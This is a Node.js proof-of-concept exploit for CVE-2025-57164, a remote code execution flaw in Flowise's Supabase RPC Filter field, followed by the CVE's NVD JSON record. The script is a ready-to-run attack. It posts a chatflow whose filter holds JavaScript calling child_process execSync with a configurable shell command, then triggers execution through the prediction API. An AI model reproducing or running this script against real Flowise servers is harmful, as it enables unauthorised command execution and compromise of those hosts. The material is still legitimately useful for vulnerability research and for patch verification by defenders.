CVE-2025-57164

// CVE-2025-57164 PoC - Flowise Supabase RPC Filter RCE // Vulnerability: Unsanitized evaluation of user input in "Supabase RPC Filter" field // Affected: Flowise through v3.0.4 // Vulnerable file: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237 const axios = require('axios'); // Target Flowise instance URL const TARGET_URL = 'http://target-flowise-instance:3000'; // Malicious payload to be injected into "Supabase RPC Filter" field // The payload executes arbitrary commands on the server via child_process const maliciousFilter = ` (function(){ const { execSync } = require('child_process'); const cmd = process.env.POC_CMD || 'id > /tmp/pwned.txt'; const output = execSync(cmd).toString(); return output; })() `; async function exploit() { try { // Step 1: Create or update a chatflow with malicious Supabase RPC Filter const chatflowPayload = { name: 'poc-chatflow', flowData: JSON.stringify({ nodes: [ { id: 'supabase_node_1', type: 'Supabase', data: { id: 'supabase_node_1', label: 'Supabase', name: 'supabase', inputs: { supabaseRpcFilter: maliciousFilter // Inject malicious code here } } } ], edges: [] }) }; // Step 2: Send the malicious chatflow to the target const response = await axios.post( `${TARGET_URL}/api/v1/chatflows`, chatflowPayload, { headers: { 'Content-Type': 'application/json' } } ); console.log('[+] Chatflow created:', response.data.id); // Step 3: Trigger the chatflow to execute the malicious filter const predictionResponse = await axios.post( `${TARGET_URL}/api/v1/chatflows/${response.data.id}/prediction`, { question: 'trigger' } ); console.log('[+] Prediction response:', predictionResponse.data); console.log('[+] RCE triggered successfully!'); } catch (error) { console.error('[-] Exploit failed:', error.message); } } exploit();

{"cve": {"id": "CVE-2025-57164", "sourceIdentifier": "[email protected]", "published": "2025-10-17T18:15:37.013", "lastModified": "2025-10-23T12:33:49.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the \"Supabase RPC Filter\" field."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flowiseai:flowise:3.0.5:*:*:*:*:*:*:*", "matchCriteriaId": "D5D151AD-7484-4BE3-B42F-7D0279B5E886"}]}]}], "references": [{"url": "https://github.com/FlowiseAI/Flowise", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}